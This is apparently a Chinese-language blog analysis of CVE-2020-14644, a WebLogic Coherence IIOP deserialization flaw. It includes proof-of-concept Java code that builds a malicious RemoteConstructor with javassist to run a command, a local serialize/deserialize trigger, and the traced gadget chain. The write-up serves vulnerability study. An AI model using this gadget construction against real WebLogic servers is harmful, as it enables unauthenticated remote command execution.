Weblogic coherence组件iiop反序列化漏洞浅析 (CVE-2020-14644)
简介 2020年7月,Oracle发布了关键升级补丁(Critical Patch Update),其中包含编号为CVE-2020-14644 的漏洞修复。 WebLogic的核心coherence组件存在严重的安全漏洞,可以在无需账户登录的情况下,通过发送精心恶意的IIOP协议数据包,进行反序列化攻击完成远程任意命令执行。 受影响的版本: WebLogic 12.2.1.3.0 WebLog
简介
2020年7月,Oracle发布了关键升级补丁(Critical Patch Update),其中包含编号为CVE-2020-14644 的漏洞修复。
WebLogic的核心coherence组件存在严重的安全漏洞,可以在无需账户登录的情况下,通过发送精心恶意的IIOP协议数据包,进行反序列化攻击完成远程任意命令执行。

受影响的版本:
- WebLogic 12.2.1.3.0
- WebLogic 12.2.1.4.0
- WebLogic 14.1.1.0.0
漏洞复现
漏洞环境:
- java version "1.8.0_112"
- WebLogic 12.2.1.4.0(WebLogic 12.2.1.3.0进行测试失败,不知为何coherence组件不完整)
- IDEA DEBUG
- 使用github项目进行攻击与分析
看看整个项目的结构:

相关代码包含三个文件:
App为攻击项目的入口,POC构造的逻辑,字节码处理等
test为包含恶意命令类,会被App进行字节码处理
Serializables为序列化工具类
lib库包含两个jar文件,同样需要添加到项目中

WebLogic 12.2.1.4.0可以使用项目自带的,其他的版本最好使用和目标版本一致的
coherence.jar的位置
/Users/rai4over/Oracle/Middleware/Oracle_Home/wlserver/server/lib/console-ext/autodeploy/coherence.jar
wlfullclient.jar需要手动生成
java -jar ~/Oracle/Middleware/Oracle_Home/wlserver/modules/com.bea.core.jarbuilder.jar
运行后在会生成wlfullclient.jar,路径为:
~/Oracle/Middleware/Oracle_Home/wlserver/server/lib/wlfullclient.jar
然后可以使用脚本进行攻击,因为有回显的,所以需要运行两次

javassist
javassist是一个开源的分析、编辑和创建Java字节码的类库。其主要的优点,在于简单,而且快速。直接使用 java编码的形式,而不需要了解虚拟机指令,就能动态改变类的结构,或者动态生成类。
Ysoserial在生成Payload中也是使用的javassist类库。
几个重要的Javassist类对象:
ClassPool:一个基于Hashtable实现的CtClass对象容器,其中键名是类名称,值是表示该类的CtClass对象。CtClass:CtClass表示类,一个CtClass(编译时类)对象可以处理一个class文件,这些CtClass对象可以从ClassPool获得。CtMethods:表示类中的方法。CtFields:表示类中的字段。
创建ClassPool对象
//ClassPool pool = new ClassPool(true);
ClassPool pool = ClassPool.getDefault();
使用的是默认系统的类搜索路径获取ClassPool对象
添加类搜索路径
pool.insertClassPath(new ClassClassPath(this.getClass()));
//pool.insertClassPath("/usr/local/javalib");
将类搜索路径插入到搜索路径,或者将目录作为类搜索路径
查找并获取CtClass对象
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath("XXXXXXX"));
CtClass ctClass = pool.get("XXXXX");
依据key从Hash表中查找对应的CtClass对象
CtClass可被修改
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath("XXXXXXX"));
CtClass ctClass = pool.get("XXXXX");
ctClass.setSuperclass(pool.get("XXXXXX"));
修改并设置父类
byte[] b = ctClass.toBytecode();
获取修改后的字节码
Class clazz = ctClass.toClass();
转换成Class对象
分析
为了方便分析,可以简化攻击代码,本地模拟序列化和反序列化的过程,完成攻击。
test1.java
package org.unicodesec;
import com.tangosol.internal.util.invoke.RemoteConstructor;
import weblogic.cluster.singleton.ClusterMasterRemote;
import java.io.IOException;
import java.rmi.RemoteException;
public class test1 implements com.tangosol.internal.util.invoke.Remotable, ClusterMasterRemote {
public test1() throws IOException {
String cmd = "touch /tmp/rai4over";
Runtime.getRuntime().exec(cmd);
}
@Override
public RemoteConstructor getRemoteConstructor() {
return null;
}
@Override
public void setRemoteConstructor(RemoteConstructor remoteConstructor) {
}
@Override
public void setServerLocation(String s, String s1) throws RemoteException {
}
@Override
public String getServerLocation(String s) throws RemoteException {
return null;
}
}
test1实现com.tangosol.internal.util.invoke.Remotable和ClusterMasterRemote接口,并且在无参数的构造函数中包含执行的命令。
RCETEST.java
package org.unicodesec;
import com.tangosol.internal.util.invoke.ClassDefinition;
import com.tangosol.internal.util.invoke.ClassIdentity;
import com.tangosol.internal.util.invoke.RemoteConstructor;
import javassist.CannotCompileException;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.NotFoundException;
import java.io.IOException;
public class RCETEST {
public static void main(String[] args) throws NotFoundException, IOException, CannotCompileException, ClassNotFoundException {
ClassIdentity classIdentity = new ClassIdentity(org.unicodesec.test1.class);
ClassPool cp = ClassPool.getDefault();
CtClass ctClass = cp.get(org.unicodesec.test1.class.getName());
ctClass.replaceClassName(org.unicodesec.test1.class.getName(), org.unicodesec.test1.class.getName() + "$" + classIdentity.getVersion());
RemoteConstructor constructor = new RemoteConstructor(
new ClassDefinition(classIdentity, ctClass.toBytecode()),
new Object[]{}
);
byte[] obj = Serializables.serialize(constructor);
Serializables.deserialize(obj);
}
}
大致为使用javassist修改恶意的test1.java的字节码文件,这里和ysoserial-payloads-CommonsCollections2的操作是一个套路,装入恶意的RemoteConstructor对象并序列化,然后反序列化触发。
Gadget chain
开始分析POC的构造,首先是new ClassIdentity(org.unicodesec.test1.class),将恶意test1的class作为参数传入创建ClassIdentity对象。
com.tangosol.internal.util.invoke.ClassIdentity#ClassIdentity(java.lang.Class<?>)

clazz.getPackage().getName().replace('.', '/')获取包名并替换后为org/unicodesec
clazz.getName().substring(clazz.getName().lastIndexOf(46) + 1)获取类名并截取后变为test1
Base.toHex(md5(clazz))为MD5值81646C2598E743F9FE254AB93A0FBE14
然后传递到另一个构造参数。
com.tangosol.internal.util.invoke.ClassIdentity#ClassIdentity(java.lang.String, java.lang.String, java.lang.String)

分别赋值给m_sPackage、m_sVersion、m_sBaseName成员,然后返回ClassIdentity类的实例化对象。

接着创建ClassPool对象,org.unicodesec.test1.class.getName()也就是test1,修改类名为org.unicodesec.test1$81646C2598E743F9FE254AB93A0FBE14,接着将修改后test1的字节码和生成ClassIdentity对象作为参数创建ClassDefinition对象。
com.tangosol.internal.util.invoke.ClassDefinition#ClassDefinition(com.tangosol.internal.util.invoke.ClassIdentity, byte[])

将传入的ClassIdentity对象和test1字节码文件分别存储,然后还获取了ClassName并进行长度判断。创建的ClassDefinition对象又会作为参数创建RemoteConstructor对象。
com.tangosol.internal.util.invoke.RemoteConstructor#RemoteConstructor(com.tangosol.internal.util.invoke.ClassDefinition, java.lang.Object[])

第二个参数是空的,整个RemoteConstructor对象结构如下:

RemoteConstructor对象中包含创建和修改的各个对象。

整个恶意类接下来就是使用Serializables工具类序列化RemoteConstructor对象,然后模拟Weblogic中IIOP通讯,反序列化该对象。
com.tangosol.internal.util.invoke.RemoteConstructor#readResolve

和之前常见的java反序列化readObject作为入口不同,这次的问题出在用于检查反序列化对象是否唯一readResolve(单例模式),然后调用newInstance。
com.tangosol.internal.util.invoke.RemoteConstructor#newInstance

获取继承ClassLoader对象的RemotableSupport对象,然后将RemoteConstructor传入support.realize函数。
com.tangosol.internal.util.invoke.RemotableSupport#realize

首先constructor.getDefinition()获取了ClassDefinition对象,然后传入registerIfAbsent函数
com.tangosol.internal.util.invoke.ClassDefinition

根据ID将ClassDefinition对象存储在MAP类的this.f_mapDefinitions中,然后返回ClassDefinition对象
com.tangosol.internal.util.invoke.RemotableSupport#f_mapDefinitions

返回到realize,然后调用definition.setRemotableClass(this.defineClass(definition)),先看this.defineClass。
com.tangosol.internal.util.invoke.RemotableSupport#defineClass

com.tangosol.internal.util.invoke.ClassDefinition#getBytes

definition.getBytes()会返回test1的字节码
java.lang.ClassLoader#defineClass(java.lang.String, byte[], int, int)

RemotableSupport对象利用继承ClassLoader的defineClass方法加载test1的字节码,返回test1-Class对象传入definition.setRemotableClass方法。
com.tangosol.internal.util.invoke.ClassDefinition#setRemotableClass

将test1-Class对象存入ClassDefinition对象的m_clz,然后通过getDeclaredConstructors获取test1的构造函数数组。
构造函数数量为1,进入if分支,使用MethodHandles查找类中的构造方法,并存储到m_mhCtor成员。
java.lang.invoke.MethodHandles.Lookup#findConstructor

返回到realize函数,调用definition.createInstance函数
com.tangosol.internal.util.invoke.ClassDefinition#createInstance

这里是一个链式调用,跟进this.getConstructor
com.tangosol.internal.util.invoke.ClassDefinition#getConstructor

会返回存储test1构造函数的MethodHandle对象,构造函数中包含恶意命令,然后反射执行构造函数,完成任意命令执行,此时的调用栈为:
exec:347, Runtime (java.lang)
<init>:15, test1$81646C2598E743F9FE254AB93A0FBE14 (org.unicodesec)
newInvokeSpecial__L:-1, 36333492 (java.lang.invoke.LambdaForm$DMH)
reinvoke:-1, 55909012 (java.lang.invoke.LambdaForm$BMH)
invoker:-1, 2083117811 (java.lang.invoke.LambdaForm$MH)
invokeExact_MT:-1, 157683534 (java.lang.invoke.LambdaForm$MH)
invokeWithArguments:627, MethodHandle (java.lang.invoke)
createInstance:149, ClassDefinition (com.tangosol.internal.util.invoke)
realize:142, RemotableSupport (com.tangosol.internal.util.invoke)
newInstance:122, RemoteConstructor (com.tangosol.internal.util.invoke)
readResolve:233, RemoteConstructor (com.tangosol.internal.util.invoke)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
invokeReadResolve:1148, ObjectStreamClass (java.io)
readOrdinaryObject:1817, ObjectInputStream (java.io)
readObject0:1353, ObjectInputStream (java.io)
readObject:373, ObjectInputStream (java.io)
deserialize:27, Serializables (org.unicodesec)
deserialize:22, Serializables (org.unicodesec)
main:22, RCETEST (org.unicodesec)
参考
https://www.oracle.com/security-alerts/cpujul2020.html